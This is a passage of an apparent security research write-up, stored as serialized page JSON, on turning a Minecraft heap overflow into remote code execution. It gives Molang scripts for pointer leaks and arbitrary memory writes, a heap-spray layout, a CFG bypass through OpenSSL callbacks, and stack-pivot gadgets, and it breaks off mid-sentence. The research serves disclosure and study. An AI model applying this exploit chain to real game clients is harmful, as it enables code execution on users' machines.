",{"type":24,"tag":32,"props":154412,"children":154414},{"className":154413},[],[154415],{"type":29,"value":8885},{"type":29,"value":2287},{"type":24,"tag":32,"props":154418,"children":154420},{"className":154419},[],[154421],{"type":29,"value":152590},{"type":29,"value":154423},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":24,"tag":32,"props":154425,"children":154427},{"className":154426},[],[154428],{"type":29,"value":154235},{"type":29,"value":154430},", points to the ",{"type":24,"tag":32,"props":154432,"children":154434},{"className":154433},[],[154435],{"type":29,"value":149657},{"type":29,"value":153442},{"type":24,"tag":32,"props":154438,"children":154440},{"className":154439},[],[154441],{"type":29,"value":152461},{"type":29,"value":154443},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":24,"tag":32,"props":154445,"children":154447},{"className":154446},[],[154448],{"type":29,"value":152461},{"type":29,"value":154450},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":24,"tag":25,"props":154452,"children":154453},{},[154454],{"type":29,"value":154455},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":24,"tag":18631,"props":154457,"children":154459},{"id":154458},"leaking-pointers",[154460],{"type":29,"value":154461},"Leaking Pointers",{"type":24,"tag":25,"props":154463,"children":154464},{},[154465,154467,154473],{"type":29,"value":154466},"In C++, an object’s first field is typically a ",{"type":24,"tag":32,"props":154468,"children":154470},{"className":154469},[],[154471],{"type":29,"value":154472},"vtable",{"type":29,"value":154474}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":24,"tag":73,"props":154476,"children":154478},{"code":154477},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[154479],{"type":24,"tag":32,"props":154480,"children":154481},{"__ignoreMap":7},[154482],{"type":29,"value":154477},{"type":24,"tag":25,"props":154484,"children":154485},{},[154486,154487,154492,154494,154499,154501,154506,154508,154513,154515,154520,154521,154526,154528,154533],{"type":29,"value":16348},{"type":24,"tag":32,"props":154488,"children":154490},{"className":154489},[],[154491],{"type":29,"value":38870},{"type":29,"value":154493}," field inside a ",{"type":24,"tag":32,"props":154495,"children":154497},{"className":154496},[],[154498],{"type":29,"value":152134},{"type":29,"value":154500}," is at offset ",{"type":24,"tag":32,"props":154502,"children":154504},{"className":154503},[],[154505],{"type":29,"value":152395},{"type":29,"value":154507},". We already control a corrupted variable, ",{"type":24,"tag":32,"props":154509,"children":154511},{"className":154510},[],[154512],{"type":29,"value":154401},{"type":29,"value":154514},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":24,"tag":32,"props":154516,"children":154518},{"className":154517},[],[154519],{"type":29,"value":8885},{"type":29,"value":153442},{"type":24,"tag":32,"props":154522,"children":154524},{"className":154523},[],[154525],{"type":29,"value":152637},{"type":29,"value":154527}," by 2 bytes, which in turn advances ",{"type":24,"tag":32,"props":154529,"children":154531},{"className":154530},[],[154532],{"type":29,"value":154401},{"type":29,"value":154534}," by 2 bytes.",{"type":24,"tag":25,"props":154536,"children":154537},{},[154538,154540,154545,154547,154553,154554,154559,154560,154565,154567,154572],{"type":29,"value":154539},"By moving ",{"type":24,"tag":32,"props":154541,"children":154543},{"className":154542},[],[154544],{"type":29,"value":8885},{"type":29,"value":154546}," so it equals ",{"type":24,"tag":32,"props":154548,"children":154550},{"className":154549},[],[154551],{"type":29,"value":154552},"cap - 0x38",{"type":29,"value":101830},{"type":24,"tag":32,"props":154555,"children":154557},{"className":154556},[],[154558],{"type":29,"value":38870},{"type":29,"value":153442},{"type":24,"tag":32,"props":154561,"children":154563},{"className":154562},[],[154564],{"type":29,"value":154401},{"type":29,"value":154566}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":24,"tag":32,"props":154568,"children":154570},{"className":154569},[],[154571],{"type":29,"value":154472},{"type":29,"value":154573}," pointer. We can then capture that pointer with:",{"type":24,"tag":73,"props":154575,"children":154577},{"code":154576},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[154578],{"type":24,"tag":32,"props":154579,"children":154580},{"__ignoreMap":7},[154581],{"type":29,"value":154576},{"type":24,"tag":25,"props":154583,"children":154584},{},[154585,154587,154592,154594,154599,154601,154606,154608,154614],{"type":29,"value":154586},"After saving the leak, we add 27 unseen variables to advance ",{"type":24,"tag":32,"props":154588,"children":154590},{"className":154589},[],[154591],{"type":29,"value":8885},{"type":29,"value":154593}," until it equals ",{"type":24,"tag":32,"props":154595,"children":154597},{"className":154596},[],[154598],{"type":29,"value":154338},{"type":29,"value":154600},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":24,"tag":32,"props":154602,"children":154604},{"className":154603},[],[154605],{"type":29,"value":154472},{"type":29,"value":154607}," address in ",{"type":24,"tag":32,"props":154609,"children":154611},{"className":154610},[],[154612],{"type":29,"value":154613},"variable.saved_vtable_pointer",{"type":29,"value":161},{"type":24,"tag":18531,"props":154616,"children":154617},{},[],{"type":24,"tag":25,"props":154619,"children":154620},{},[154621,154623,154628,154630,154636],{"type":29,"value":154622},"A Molang script that performs an arbitrary write of the value ",{"type":24,"tag":32,"props":154624,"children":154626},{"className":154625},[],[154627],{"type":29,"value":43218},{"type":29,"value":154629}," to the address ",{"type":24,"tag":32,"props":154631,"children":154633},{"className":154632},[],[154634],{"type":29,"value":154635},"vtable + 0x1000",{"type":29,"value":154637}," looks like this:",{"type":24,"tag":73,"props":154639,"children":154641},{"code":154640},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[154642],{"type":24,"tag":32,"props":154643,"children":154644},{"__ignoreMap":7},[154645],{"type":29,"value":154640},{"type":24,"tag":18631,"props":154647,"children":154649},{"id":154648},"required-heap-layout",[154650],{"type":29,"value":154651},"Required Heap Layout",{"type":24,"tag":25,"props":154653,"children":154654},{},[154655],{"type":29,"value":154656},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":24,"tag":73,"props":154658,"children":154660},{"code":154659},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[154661],{"type":24,"tag":32,"props":154662,"children":154663},{"__ignoreMap":7},[154664],{"type":29,"value":154659},{"type":24,"tag":25,"props":154666,"children":154667},{},[154668,154670,154676,154678,154683,154685,154690,154692,154697,154698,154703],{"type":29,"value":154669},"The first region (",{"type":24,"tag":32,"props":154671,"children":154673},{"className":154672},[],[154674],{"type":29,"value":154675},"Heap Region 1",{"type":29,"value":154677},") contains alternating ",{"type":24,"tag":32,"props":154679,"children":154681},{"className":154680},[],[154682],{"type":29,"value":152461},{"type":29,"value":154684},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":24,"tag":32,"props":154686,"children":154688},{"className":154687},[],[154689],{"type":29,"value":152491},{"type":29,"value":154691}," pointers of ",{"type":24,"tag":32,"props":154693,"children":154695},{"className":154694},[],[154696],{"type":29,"value":152461},{"type":29,"value":2287},{"type":24,"tag":32,"props":154699,"children":154701},{"className":154700},[],[154702],{"type":29,"value":152637},{"type":29,"value":154704}," from the entity object for our main attack.",{"type":24,"tag":25,"props":154706,"children":154707},{},[154708,154710,154716,154718,154723,154725,154730,154732,154737,154739,154744],{"type":29,"value":154709},"The second region (",{"type":24,"tag":32,"props":154711,"children":154713},{"className":154712},[],[154714],{"type":29,"value":154715},"Heap Region 2",{"type":29,"value":154717},") contains interleaved ",{"type":24,"tag":32,"props":154719,"children":154721},{"className":154720},[],[154722],{"type":29,"value":152637},{"type":29,"value":154724},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":24,"tag":32,"props":154726,"children":154728},{"className":154727},[],[154729],{"type":29,"value":154472},{"type":29,"value":154731}," pointer into ",{"type":24,"tag":32,"props":154733,"children":154735},{"className":154734},[],[154736],{"type":29,"value":154401},{"type":29,"value":154738}," during our main attack. It could be any object with a ",{"type":24,"tag":32,"props":154740,"children":154742},{"className":154741},[],[154743],{"type":29,"value":154472},{"type":29,"value":154745},", but for simplicity we use the entity object.",{"type":24,"tag":25,"props":154747,"children":154748},{},[154749,154751,154757,154759,154764],{"type":29,"value":154750},"During the attack, overwriting another variable's pointer with\n",{"type":24,"tag":32,"props":154752,"children":154754},{"className":154753},[],[154755],{"type":29,"value":154756},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":154758}," will very likely clobber the ",{"type":24,"tag":32,"props":154760,"children":154762},{"className":154761},[],[154763],{"type":29,"value":152957},{"type":29,"value":154765}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":24,"tag":25,"props":154767,"children":154768},{},[154769],{"type":29,"value":154770},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":24,"tag":25,"props":154772,"children":154773},{},[154774],{"type":29,"value":154775},"The final exploit proceeds in three stages:",{"type":24,"tag":63,"props":154777,"children":154778},{},[154779,154784,154789],{"type":24,"tag":67,"props":154780,"children":154781},{},[154782],{"type":29,"value":154783},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":24,"tag":67,"props":154785,"children":154786},{},[154787],{"type":29,"value":154788},"Perform the heap spray with signs to create the desired layout for the attack",{"type":24,"tag":67,"props":154790,"children":154791},{},[154792],{"type":29,"value":154793},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":24,"tag":18631,"props":154795,"children":154797},{"id":154796},"initial-corruption-variant-lfh-heap-approach",[154798],{"type":29,"value":154799},"Initial Corruption Variant: LFH Heap Approach",{"type":24,"tag":25,"props":154801,"children":154802},{},[154803],{"type":29,"value":154804},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":24,"tag":25,"props":154806,"children":154807},{},[154808,154810,154815,154816,154822],{"type":29,"value":154809},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":24,"tag":32,"props":154811,"children":154813},{"className":154812},[],[154814],{"type":29,"value":152704},{"type":29,"value":6234},{"type":24,"tag":32,"props":154817,"children":154819},{"className":154818},[],[154820],{"type":29,"value":154821},"last_index",{"type":29,"value":154823}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":24,"tag":25,"props":154825,"children":154826},{},[154827,154829,154834,154835,154840,154842,154847,154849,154854,154856,154861,154863,154869,154870,154876,154877,154883],{"type":29,"value":154828},"The main attack can be arranged by making the resulting index point at the ",{"type":24,"tag":32,"props":154830,"children":154832},{"className":154831},[],[154833],{"type":29,"value":149657},{"type":29,"value":153442},{"type":24,"tag":32,"props":154836,"children":154838},{"className":154837},[],[154839],{"type":29,"value":152637},{"type":29,"value":154841},". From there, the script can overwrite three variable indices at offset ",{"type":24,"tag":32,"props":154843,"children":154845},{"className":154844},[],[154846],{"type":29,"value":152395},{"type":29,"value":154848}," within the ",{"type":24,"tag":32,"props":154850,"children":154852},{"className":154851},[],[154853],{"type":29,"value":152637},{"type":29,"value":154855}," by using the string type. This works because a Molang string's value is just a ",{"type":24,"tag":32,"props":154857,"children":154859},{"className":154858},[],[154860],{"type":29,"value":55348},{"type":29,"value":154862}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":24,"tag":32,"props":154864,"children":154866},{"className":154865},[],[154867],{"type":29,"value":154868},"0xfb",{"type":29,"value":568},{"type":24,"tag":32,"props":154871,"children":154873},{"className":154872},[],[154874],{"type":29,"value":154875},"0xfc",{"type":29,"value":2287},{"type":24,"tag":32,"props":154878,"children":154880},{"className":154879},[],[154881],{"type":29,"value":154882},"0xfd",{"type":29,"value":154884}," the script would do:",{"type":24,"tag":73,"props":154886,"children":154888},{"code":154887},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[154889],{"type":24,"tag":32,"props":154890,"children":154891},{"__ignoreMap":7},[154892],{"type":29,"value":154887},{"type":24,"tag":25,"props":154894,"children":154895},{},[154896,154898,154903,154904,154910,154912,154917],{"type":29,"value":154897},"That line would write the ",{"type":24,"tag":32,"props":154899,"children":154901},{"className":154900},[],[154902],{"type":29,"value":55348},{"type":29,"value":91886},{"type":24,"tag":32,"props":154905,"children":154907},{"className":154906},[],[154908],{"type":29,"value":154909},"0x302700fb00fc00fd",{"type":29,"value":154911}," (string's FNV-1 hash) into the allocated ",{"type":24,"tag":32,"props":154913,"children":154915},{"className":154914},[],[154916],{"type":29,"value":152637},{"type":29,"value":154918}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":24,"tag":1818,"props":154920,"children":154922},{"id":154921},"hijacking-execution",[154923],{"type":29,"value":154924},"Hijacking Execution",{"type":24,"tag":25,"props":154926,"children":154927},{},[154928,154930,154935,154937,154943],{"type":29,"value":154929},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":24,"tag":32,"props":154931,"children":154933},{"className":154932},[],[154934],{"type":29,"value":154472},{"type":29,"value":154936}," and function pointers in the writable ",{"type":24,"tag":32,"props":154938,"children":154940},{"className":154939},[],[154941],{"type":29,"value":154942},".data",{"type":29,"value":154944}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":24,"tag":25,"props":154946,"children":154947},{},[154948],{"type":29,"value":154949},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":24,"tag":25,"props":154951,"children":154952},{},[154953],{"type":29,"value":154954},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":24,"tag":25,"props":154956,"children":154957},{},[154958],{"type":24,"tag":2510,"props":154959,"children":154961},{"alt":2512,"src":154960},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":24,"tag":25,"props":154963,"children":154964},{},[154965,154967,154973,154975,154981,154983,154988,154990,154995,154997,155003,155005,155010,155012,155018,155020,155025],{"type":29,"value":154966},"This snippet calls a method on an object: ",{"type":24,"tag":32,"props":154968,"children":154970},{"className":154969},[],[154971],{"type":29,"value":154972},"rcx",{"type":29,"value":154974}," holds the object pointer, the first ",{"type":24,"tag":32,"props":154976,"children":154978},{"className":154977},[],[154979],{"type":29,"value":154980},"mov",{"type":29,"value":154982}," loads the object's ",{"type":24,"tag":32,"props":154984,"children":154986},{"className":154985},[],[154987],{"type":29,"value":154472},{"type":29,"value":154989}," into ",{"type":24,"tag":32,"props":154991,"children":154993},{"className":154992},[],[154994],{"type":29,"value":56488},{"type":29,"value":154996},", and the function pointer at ",{"type":24,"tag":32,"props":154998,"children":155000},{"className":154999},[],[155001],{"type":29,"value":155002},"rax + 0x8",{"type":29,"value":155004}," is read into ",{"type":24,"tag":32,"props":155006,"children":155008},{"className":155007},[],[155009],{"type":29,"value":56488},{"type":29,"value":155011},". Finally, ",{"type":24,"tag":32,"props":155013,"children":155015},{"className":155014},[],[155016],{"type":29,"value":155017},"__guard_dispatch_icall_fptr",{"type":29,"value":155019}," is called - this is the CFG dispatch function that validates ",{"type":24,"tag":32,"props":155021,"children":155023},{"className":155022},[],[155024],{"type":29,"value":56488},{"type":29,"value":155026}," as a legal call target before invoking it.",{"type":24,"tag":25,"props":155028,"children":155029},{},[155030],{"type":29,"value":155031},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":24,"tag":25,"props":155033,"children":155034},{},[155035],{"type":24,"tag":2510,"props":155036,"children":155038},{"alt":2512,"src":155037},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":24,"tag":25,"props":155040,"children":155041},{},[155042,155044,155050,155052,155058],{"type":29,"value":155043},"Here, the function pointer at ",{"type":24,"tag":32,"props":155045,"children":155047},{"className":155046},[],[155048],{"type":29,"value":155049},"vtable + 0x10",{"type":29,"value":155051}," is loaded into ",{"type":24,"tag":32,"props":155053,"children":155055},{"className":155054},[],[155056],{"type":29,"value":155057},"rdx",{"type":29,"value":155059}," and then called directly.",{"type":24,"tag":25,"props":155061,"children":155062},{},[155063],{"type":29,"value":155064},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":24,"tag":25,"props":155066,"children":155067},{},[155068,155070,155075],{"type":29,"value":155069},"So the remaining task is to locate OpenSSL function or ",{"type":24,"tag":32,"props":155071,"children":155073},{"className":155072},[],[155074],{"type":29,"value":154472},{"type":29,"value":155076}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":24,"tag":18631,"props":155078,"children":155080},{"id":155079},"locating-overwrite-targets",[155081],{"type":29,"value":155082},"Locating Overwrite Targets",{"type":24,"tag":25,"props":155084,"children":155085},{},[155086,155088,155094,155095,155100,155102,155107,155109,155115],{"type":29,"value":155087},"One of the first targets we identified were the ",{"type":24,"tag":32,"props":155089,"children":155091},{"className":155090},[],[155092],{"type":29,"value":155093},"malloc",{"type":29,"value":2287},{"type":24,"tag":32,"props":155096,"children":155098},{"className":155097},[],[155099],{"type":29,"value":149705},{"type":29,"value":155101}," callbacks. These reside in the ",{"type":24,"tag":32,"props":155103,"children":155105},{"className":155104},[],[155106],{"type":29,"value":154942},{"type":29,"value":155108}," section and are invoked whenever they don’t match the expected ",{"type":24,"tag":32,"props":155110,"children":155112},{"className":155111},[],[155113],{"type":29,"value":155114},"OPENSSL_malloc/free",{"type":29,"value":131563},{"type":24,"tag":25,"props":155117,"children":155118},{},[155119],{"type":24,"tag":2510,"props":155120,"children":155122},{"alt":2512,"src":155121},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":24,"tag":25,"props":155124,"children":155125},{},[155126],{"type":29,"value":155127},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":24,"tag":25,"props":155129,"children":155130},{},[155131,155133,155139,155141,155147,155149,155154],{"type":29,"value":155132},"Later, we found another promising function: ",{"type":24,"tag":32,"props":155134,"children":155136},{"className":155135},[],[155137],{"type":29,"value":155138},"ossl_ec_key_new_method_int",{"type":29,"value":155140},". This function creates and initializes an ",{"type":24,"tag":32,"props":155142,"children":155144},{"className":155143},[],[155145],{"type":29,"value":155146},"EC_KEY",{"type":29,"value":155148}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":24,"tag":32,"props":155150,"children":155152},{"className":155151},[],[155153],{"type":29,"value":154942},{"type":29,"value":155155},") containing function pointers:",{"type":24,"tag":25,"props":155157,"children":155158},{},[155159],{"type":24,"tag":2510,"props":155160,"children":155162},{"alt":2512,"src":155161},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":24,"tag":25,"props":155164,"children":155165},{},[155166,155168,155174,155175,155181,155183,155188,155190,155196,155198,155203,155205,155210,155212,155217],{"type":29,"value":155167},"In the image above, ",{"type":24,"tag":32,"props":155169,"children":155171},{"className":155170},[],[155172],{"type":29,"value":155173},"ret->meth",{"type":29,"value":125027},{"type":24,"tag":32,"props":155176,"children":155178},{"className":155177},[],[155179],{"type":29,"value":155180},"default_ec_key_meth",{"type":29,"value":155182},", which points to a structure of function pointers located in ",{"type":24,"tag":32,"props":155184,"children":155186},{"className":155185},[],[155187],{"type":29,"value":154942},{"type":29,"value":155189},". It then calls ",{"type":24,"tag":32,"props":155191,"children":155193},{"className":155192},[],[155194],{"type":29,"value":155195},"ret->meth->init",{"type":29,"value":155197},", passing the ",{"type":24,"tag":32,"props":155199,"children":155201},{"className":155200},[],[155202],{"type":29,"value":563},{"type":29,"value":155204}," pointer (",{"type":24,"tag":32,"props":155206,"children":155208},{"className":155207},[],[155209],{"type":29,"value":10738},{"type":29,"value":155211},"). This alone isn’t especially useful because ",{"type":24,"tag":32,"props":155213,"children":155215},{"className":155214},[],[155216],{"type":29,"value":10738},{"type":29,"value":155218}," is heap-allocated.",{"type":24,"tag":25,"props":155220,"children":155221},{},[155222,155224,155229],{"type":29,"value":155223},"But, if we look at how ",{"type":24,"tag":32,"props":155225,"children":155227},{"className":155226},[],[155228],{"type":29,"value":155195},{"type":29,"value":155230}," is invoked in the disassembly:",{"type":24,"tag":25,"props":155232,"children":155233},{},[155234],{"type":24,"tag":2510,"props":155235,"children":155237},{"alt":2512,"src":155236},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":24,"tag":25,"props":155239,"children":155240},{},[155241,155242,155247,155249,155254,155256,155261,155263,155268,155270,155275,155277,155282,155284,155289,155291,155297],{"type":29,"value":7227},{"type":24,"tag":32,"props":155243,"children":155245},{"className":155244},[],[155246],{"type":29,"value":155195},{"type":29,"value":155248}," is not ",{"type":24,"tag":32,"props":155250,"children":155252},{"className":155251},[],[155253],{"type":29,"value":54209},{"type":29,"value":155255},", it is called while ",{"type":24,"tag":32,"props":155257,"children":155259},{"className":155258},[],[155260],{"type":29,"value":56488},{"type":29,"value":155262}," still contains the value of ",{"type":24,"tag":32,"props":155264,"children":155266},{"className":155265},[],[155267],{"type":29,"value":155173},{"type":29,"value":155269}," - that is, a pointer to the structure in ",{"type":24,"tag":32,"props":155271,"children":155273},{"className":155272},[],[155274],{"type":29,"value":154942},{"type":29,"value":155276}," that we control. This is ideal, because we can overwrite ",{"type":24,"tag":32,"props":155278,"children":155280},{"className":155279},[],[155281],{"type":29,"value":155180},{"type":29,"value":155283}," with a pointer to a region in ",{"type":24,"tag":32,"props":155285,"children":155287},{"className":155286},[],[155288],{"type":29,"value":154942},{"type":29,"value":155290}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":24,"tag":32,"props":155292,"children":155294},{"className":155293},[],[155295],{"type":29,"value":155296},"mov rsp, rax; ret",{"type":29,"value":155298},"-style gadget.",{"type":24,"tag":25,"props":155300,"children":155301},{},[155302,155304,155309,155311,155316],{"type":29,"value":155303},"Although we discovered that ",{"type":24,"tag":32,"props":155305,"children":155307},{"className":155306},[],[155308],{"type":29,"value":155138},{"type":29,"value":155310}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":24,"tag":32,"props":155312,"children":155314},{"className":155313},[],[155315],{"type":29,"value":155114},{"type":29,"value":155317}," callbacks.",{"type":24,"tag":18631,"props":155319,"children":155321},{"id":155320},"stack-pivot",[155322],{"type":29,"value":155323},"Stack Pivot",{"type":24,"tag":25,"props":155325,"children":155326},{},[155327,155329,155334,155336,155341,155343,155348,155350,155356],{"type":29,"value":155328},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":24,"tag":32,"props":155330,"children":155332},{"className":155331},[],[155333],{"type":29,"value":154942},{"type":29,"value":155335},", overwrite ",{"type":24,"tag":32,"props":155337,"children":155339},{"className":155338},[],[155340],{"type":29,"value":155180},{"type":29,"value":155342}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":24,"tag":32,"props":155344,"children":155346},{"className":155345},[],[155347],{"type":29,"value":155138},{"type":29,"value":155349},". This ultimately calls ",{"type":24,"tag":32,"props":155351,"children":155353},{"className":155352},[],[155354],{"type":29,"value":155355},"default_ec_key_meth->init",{"type":29,"value":155357},", which executes the pivot and begins ROP execution.",{"type":24,"tag":25,"props":155359,"children":155360},{},[155361,155363,155369,155371,155377],{"type":29,"value":155362},"We chose to overwrite the ",{"type":24,"tag":32,"props":155364,"children":155366},{"className":155365},[],[155367],{"type":29,"value":155368},"OPENSSL_free",{"type":29,"value":155370}," callback. This produces only a minor memory leak, while overwriting ",{"type":24,"tag":32,"props":155372,"children":155374},{"className":155373},[],[155375],{"type":29,"value":155376},"OPENSSL_malloc",{"type":29,"value":155378}," would require our replacement function to return a writable, unused memory region.",{"type":24,"tag":25,"props":155380,"children":155381},{},[155382,155384,155390,155391,155397,155399,155404],{"type":29,"value":155383},"For the stack pivot, we found two useful gadgets: ",{"type":24,"tag":32,"props":155385,"children":155387},{"className":155386},[],[155388],{"type":29,"value":155389},"add rsp, 0x10; pop r14; ret",{"type":29,"value":2287},{"type":24,"tag":32,"props":155392,"children":155394},{"className":155393},[],[155395],{"type":29,"value":155396},"xchg rsp, rax; ret",{"type":29,"value":155398},". The exploit writes them into ",{"type":24,"tag":32,"props":155400,"children":155402},{"className":155401},[],[155403],{"type":29,"value":154942},{"type":29,"value":155405}," like this:",{"type":24,"tag":73,"props":155407,"children":155409},{"code":155408},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[155410],{"type":24,"tag":32,"props":155411,"children":155412},{"__ignoreMap":7},[155413],{"type":29,"value":155408},{"type":24,"tag":25,"props":155415,"children":155416},{},[155417,155419,155424,155426,155431,155433,155438,155440,155445,155447,155452,155454,155459,155461,155466],{"type":29,"value":155418},"The second gadget, ",{"type":24,"tag":32,"props":155420,"children":155422},{"className":155421},[],[155423],{"type":29,"value":155396},{"type":29,"value":155425},", is placed in the slot corresponding to the ",{"type":24,"tag":32,"props":155427,"children":155429},{"className":155428},[],[155430],{"type":29,"value":20481},{"type":29,"value":155432}," function pointer. As mentioned earlier, when ",{"type":24,"tag":32,"props":155434,"children":155436},{"className":155435},[],[155437],{"type":29,"value":155195},{"type":29,"value":155439}," is called, ",{"type":24,"tag":32,"props":155441,"children":155443},{"className":155442},[],[155444],{"type":29,"value":56488},{"type":29,"value":155446}," contains a pointer to ",{"type":24,"tag":32,"props":155448,"children":155450},{"className":155449},[],[155451],{"type":29,"value":155180},{"type":29,"value":155453}," - which we have overwritten and now points to our ",{"type":24,"tag":32,"props":155455,"children":155457},{"className":155456},[],[155458],{"type":29,"value":155389},{"type":29,"value":155460}," gadget in ",{"type":24,"tag":32,"props":155462,"children":155464},{"className":155463},[],[155465],{"type":29,"value":154942},{"type":29,"value":161},{"type":24,"tag":25,"props":155468,"children":155469},{},[155470,155472,155478,155480,155485,155487,155493,155495,155500,155502,155507,155509,155514,155516,155521,155523,155528,155530,155535],{"type":29,"value":155471},"When the call occurs, ",{"type":24,"tag":32,"props":155473,"children":155475},{"className":155474},[],[155476],{"type":29,"value":155477},"xchg rsp, rax",{"type":29,"value":155479}," swaps the stack pointer with this controlled pointer inside ",{"type":24,"tag":32,"props":155481,"children":155483},{"className":155482},[],[155484],{"type":29,"value":154942},{"type":29,"value":155486},", effectively moving 